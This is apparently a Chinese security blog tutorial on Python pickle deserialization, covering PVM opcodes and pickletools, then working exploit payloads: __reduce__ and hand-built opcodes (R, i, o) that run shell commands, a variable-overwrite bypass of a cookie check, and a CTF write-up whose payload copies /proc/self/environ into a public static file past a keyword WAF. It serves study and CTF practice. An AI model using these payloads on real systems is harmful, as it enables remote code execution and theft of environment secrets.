Pickle反序列化
本文最后更新于312 天前,其中的信息可能已经过时,如有错误请发送邮件到1714510997@qq.com

0x01前言

Pickle其实就是python的一个内置库,用来进行序列化和反序列化操作,所以Pickle反序列化就是python反序列化的一种别称而已,当然python里面的反序列化库还有cPickle(3.x 改名为 _pickle),这个是用C语言写的,但是一般遇到的python反序列化都是用的前者

0x02Pickle库介绍

原理这些就不扯了,官方文档比我强得多,我们直接看具体的应用代码

import pickle


class Persion():
    def __init__(self):
        self.name = "yuyulin"
        self.age = 18


persion = Persion()
opcode = pickle.dumps(persion)
print("pickle result: ", opcode)

unopcode = pickle.loads(opcode)
print("name:{},age:{}".format(unopcode.name,unopcode.age))

结果:

pickle result:  b'\x80\x04\x959\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x07Persion\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x07yuyulin\x94\x8c\x03age\x94K\x12ub.'
name:yuyulin,age:18

很明显pickle库的dumps方法就是将一个实例序列化,loads方法就是将序列化的bytes反序列化

学过php反序列化的小伙伴们知道php序列化的结果是一个字符串,而python序列化的结果是bytes,前者不管是可读性还是构造难度都优于后者,这也是为什么会php反序列化的比python反序列化的多很多,java反序列化就更不用说了,会的人更少

扯得差不多了,该步入正题了,想要读懂python序列化之后的结果就要先了解PVM

PVM

PVM全称Pickle Virtual Machine(PVM),PVM的工作大致就是解析Pcikle所发出的opcode(指令集)

PVM由以下三部分组成

  • 指令处理器:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止。 最终留在栈顶的值将被作为反序列化对象返回。
  • stack:由 Python 的 list 实现,被用来临时存储数据、参数以及对象。
  • memo:由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储。

搬一张别人的图

PVM还有一个协议,有六种不同的版本,使用的协议版本越高,读取所生成 pickle 对象所需的 Python 版本就要越新。

这个协议可以改变Pickle序列化的结果的形式,举个例子

import pickle


class Test:
    def __init__(self):
        self.a = 1


test = Test()

opcode = pickle.dumps(test)
print(opcode)
serialized = pickle.dumps(test, protocol=0)  # 指定版本
print(serialized)

unserialized = pickle.loads(serialized)  # 注意,loads 能够自动识别反序列化的版本
print(unserialized.a)

结果

b'\x80\x04\x95"\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04Test\x94\x93\x94)\x81\x94}\x94\x8c\x01a\x94K\x01sb.'
b'ccopy_reg\n_reconstructor\np0\n(c__main__\nTest\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nVa\np6\nI1\nsb.'
1

明显可以看到指定了协议0之后可读性就高了不少

opcode

上面已经说了opcode就是一个指令集,但它是python反序列化的重中之重,个人认为python反序列化最难的地方就在于手搓opcode。

常用的opcode(v0协议)有下面这些

MARK           = b'('   # 向栈中压入一个 MARK 标记
STOP           = b'.'   # 程序结束,栈顶的一个元素作为 pickle.loads() 的返回值
POP            = b'0'   # 丢弃栈顶对象
POP_MARK       = b'1'   # discard stack top through topmost markobject
DUP            = b'2'   # duplicate top stack item
FLOAT          = b'F'   # 实例化一个 float 对象
INT            = b'I'   # 实例化一个 int 或者 bool 对象
BININT         = b'J'   # push four-byte signed int
BININT1        = b'K'   # push 1-byte unsigned int
LONG           = b'L'   # push long; decimal string argument
BININT2        = b'M'   # push 2-byte unsigned int
NONE           = b'N'   # 栈中压入 None
PERSID         = b'P'   # push persistent object; id is taken from string arg
BINPERSID      = b'Q'   # push persistent object; id is taken from stack
REDUCE         = b'R'   # 从栈上弹出两个对象,第一个对象作为参数(必须为元组),第二个对象作为函数,然后调用该函数并把结果压回栈
STRING         = b'S'   # 实例化一个字符串对象
BINSTRING      = b'T'   # push string; counted binary string argument
SHORT_BINSTRING= b'U'   # push string; counted binary string argument < 256 bytes
UNICODE        = b'V'   # 实例化一个 UNICODE 字符串对象
BINUNICODE     = b'X'   # push Unicode string; counted UTF-8 string argument
APPEND         = b'a'   # 将栈的第一个元素 append 到第二个元素(必须为列表)中
BUILD          = b'b'   # 使用栈中的第一个元素(储存多个 属性名-属性值 的字典)对第二个元素(对象实例)进行属性设置,调用 __setstate__ 或 __dict__.update()
GLOBAL         = b'c'   # 获取一个全局对象或 import 一个模块(会调用 import 语句,能够引入新的包),压入栈
DICT           = b'd'   # 寻找栈中的上一个 MARK,并组合之间的数据为字典(数据必须有偶数个,即呈 key-value 对),弹出组合,弹出 MARK,压回结果
EMPTY_DICT     = b'}'   # 向栈中直接压入一个空字典
APPENDS        = b'e'   # 寻找栈中的上一个 MARK,组合之间的数据并 extends 到该 MARK 之前的一个元素(必须为列表)中
GET            = b'g'   # 将 memo[n] 的压入栈
BINGET         = b'h'   # push item from memo on stack; index is 1-byte arg
INST           = b'i'   # 相当于 c 和 o 的组合,先获取一个全局函数,然后从栈顶开始寻找栈中的上一个 MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)
LONG_BINGET    = b'j'   # push item from memo on stack; index is 4-byte arg
LIST           = b'l'   # 从栈顶开始寻找栈中的上一个 MARK,并组合之间的数据为列表
EMPTY_LIST     = b']'   # 向栈中直接压入一个空列表
OBJ            = b'o'   # 从栈顶开始寻找栈中的上一个 MARK,以之间的第一个数据(必须为函数)为 callable,第二个到第 n 个数据为参数,执行该函数(或实例化一个对象),弹出 MARK,压回结果,
PUT            = b'p'   # 将栈顶对象储存至 memo[n]
BINPUT         = b'q'   # store stack top in memo; index is 1-byte arg
LONG_BINPUT    = b'r'   # store stack top in memo; index is 4-byte arg
SETITEM        = b's'   # 将栈的第一个对象作为 value,第二个对象作为 key,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为 key)中
TUPLE          = b't'   # 寻找栈中的上一个 MARK,并组合之间的数据为元组,弹出组合,弹出 MARK,压回结果
EMPTY_TUPLE    = b')'   # 向栈中直接压入一个空元组
SETITEMS       = b'u'   # 寻找栈中的上一个 MARK,组合之间的数据(数据必须有偶数个,即呈 key-value 对)并全部添加或更新到该 MARK 之前的一个元素(必须为字典)中
BINFLOAT       = b'G'   # push float; arg is 8-byte float encoding

TRUE           = b'I01\n'  # not an opcode; see INT docs in pickletools.py
FALSE          = b'I00\n'  # not an opcode; see INT docs in pickletools.py

python还为我们提供了一个pickletools库,他的主要作用是:

  1. 可读性较强的方式展示一个序列化对象(pickletools.dis
  2. 对一个序列化结果进行优化(pickletools.optimize

就刚才的序列化而言

    0: c    GLOBAL     'copy_reg _reconstructor'
   25: p    PUT        0
   28: (    MARK
   29: c        GLOBAL     '__main__ Test'
   44: p        PUT        1
   47: c        GLOBAL     '__builtin__ object'
   67: p        PUT        2
   70: N        NONE
   71: t        TUPLE      (MARK at 28)
   72: p    PUT        3
   75: R    REDUCE
   76: p    PUT        4
   79: (    MARK
   80: d        DICT       (MARK at 79)
   81: p    PUT        5
   84: V    UNICODE    'a'
   87: p    PUT        6
   90: I    INT        1
   93: s    SETITEM
   94: b    BUILD
   95: .    STOP
highest protocol among opcodes = 0

0x03漏洞利用

除了我们上面说的手搓opcode,有没有像php那样的序列化方法呢,当然是有的

__reduce__()自动生成

python里面也有很多的魔术方法,但是用于构造反序列化的魔术方法中__reduce__()是用得最多的,但是有一个问题,为什么python的__init__()方法不行呢,我们直接看例子

__init__()

import pickle
import os


class Test:
    def __init__(self):
        self.a = os.system("whoami")

test = Test()

serialized = pickle.dumps(test)
print("pickle")
pickle.loads(serialized)

__reduce__()

import pickle
import os


class Test:
    def __reduce__(self):
        return os.system, ("whoami",)


test = Test()

serialized = pickle.dumps(test)
print("pickle")
pickle.loads(serialized)

图一是__init__()方法的结果,图二是__reduce__()的结果,我们很轻易的就判断出,图二才是成功命令执行的结果,而图一是在序列化的时候就执行了命令,根本没达到攻击的目的

命令执行

上面也说过了,手搓的情况比自动化要多一些,给个手搓opcode的例子

import pickle

opcode = b'''cos
system
(S'whoami'
tRcos
system
(S'whoami'
tR.'''
pickle.loads(opcode)

上面的payload只适用于没有过滤的情况,很多时候都会禁止R指令,当然还可以用其他指令绕过

i指令:

opcode2=b'''(S'whoami'
ios
system
.'''

o指令:

opcode3=b'''(cos
system
S'whoami'
o.'''

谈过滤的话,目前遇到的pickle题目还比较少,等自己更加熟悉之后再开一篇文章

实例化对象

我们手写opcode是可以实例化对象的

import pickle


class Persion():
    def __init__(self, name, age):
        self.name = name
        self.age = age


opcode = b'''c__main__
Persion
(S'yuyulin'
S'18'
tR.
'''
persion = pickle.loads(opcode)
print(persion.name, persion.age)
yuyulin 18

变量覆盖

这里的变量覆盖和php是两码事,php里面是让两个变量共用一个地址,这里是通过opcode重新给变量赋值,一般用于绕过验证

cookie.py
cookies = "this is your cookie"
main.py
import pickle
import cookie

opcode='''c__main__
cookie
(S'cookies'
S'1'
db.'''

print('before:',cookie.cookies)

output=pickle.loads(opcode.encode())

print('output:',output)
print('after:',cookie.cookies)
before: this is your cookie
output: <module 'cookie' from 'D:\\Pycharm\\src\\cookie.py'>
after: 1

还有一种自动化构造的方法

import cookie
import pickle


class Target:
    def __init__(self):
        obj = pickle.loads(ser)  # 输入点
        if obj.cookies == cookie.cookies:
            print("Hello, admin!")

遇到这样的情况我们该怎么办呢,我们看下面的代码

import pickle
import pickletools


class cookie:
    cookies = "???"


class Target:
    def __init__(self):
        self.cookies = cookie.cookies


test = Target()

serialized = pickletools.optimize(pickle.dumps(test, protocol=0))
print(serialized)
# 结果
# b'ccopy_reg\n_reconstructor\n(c__main__\nTarget\nc__builtin__\nobject\nNtR(dVcookies\nV???\nsb.'

从结果我们不难看出这样是不可能绕过的,因为这里的cookies已经被赋值了

这个时候,我们可以利用 c 这个 opcode 来完成攻击。c 其实就是 pickle.Unpickler().find_class(module, name)

它的作用是导入 module 模块并返回其中名叫 name 的对象,其中 module 和 name 参数都是 str 对象。文档指出,find_class() 同样可以用来导入函数。

既然如此,我们就可以把攻击目标类中引用的 cookie.cookies 用 c 拿进来:

# 前后对比
b'ccopy_reg\n_reconstructor\n(c__main__\nTarget\nc__builtin__\nobject\nNtR(dVcookies\nV???\nsb.'
b'ccopy_reg\n_reconstructor\n(c__main__\nTarget\nc__builtin__\nobject\nNtR(dVcookies\nccookie\ncookies\nsb.'

其实也很好理解,Pickle反序列化的时候遇到ccookie\ncookies就相当于执行了下面的命令

import cookie

class Target:
    def __init__(self):
        self.cookies = cookie.cookies

自然而然地就绕过了if条件

0x04例题

恐怖G7人-卷土重来

最近打的一个小比赛才遇到的题目,重点就是绕过一个waf,我们直接看waf

import re

waf_words = {"setstate", "exec", "key", "os", 'system', 'eval', 'popen', 'subprocess', 'command', 'run', 'read', 'output', 'cat', 'ls', 'grep', 'global', 'flag', '\\nR', 'ntimeit'}

def waf(string):
    for i in waf_words:
        if re.findall(i, str(string), re.I):
            print(i)
            return False
    pattern_unicode = r'\\u[0-9a-fA-F]{4}'
    pattern_R1 = r'\\nR'
    pattern_R2 = r'\\ntimeit'
    m1 = re.findall(pattern_unicode, str(string))
    m2 = re.findall(pattern_R1, str(string))
    m3 = re.findall(pattern_R2, str(string))
    if any([m1, m2, m3]):
        print(m1, m2, m3)
        return False
    return True

ban了很多执行命令的函数,开始的第一思路是用其他指令重写,关键词用逆序或者拼接的方法绕过,但是因为不会手搓opcode也就不了了之,接下来看看官方的wp

构造pickle链

思路就是用base64绕过对关键词的检测,然后手写opcode

还有另一种思路

虽然ban掉了很多,但是pty和spawn都能用,可以直接把环境变量cp进文件里然后再访问

import pickle
import base64

class Payload(object):
    def __reduce__(self):
      
        return (__import__("pty").spawn,(["cp","/proc/self/environ","/static/img/1.txt"],),)
    
a = Payload()
print(pickle.dumps(a))
print(base64.b64encode(pickle.dumps(a)))

只不过这个poc只能在linux上运行,windows下跑不了

0x04参考

https://xz.aliyun.com/t/7436#toc-13

https://goodapple.top/archives/1069

https://www.tr0y.wang/2022/02/03/SecMap-unserialize-python/

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇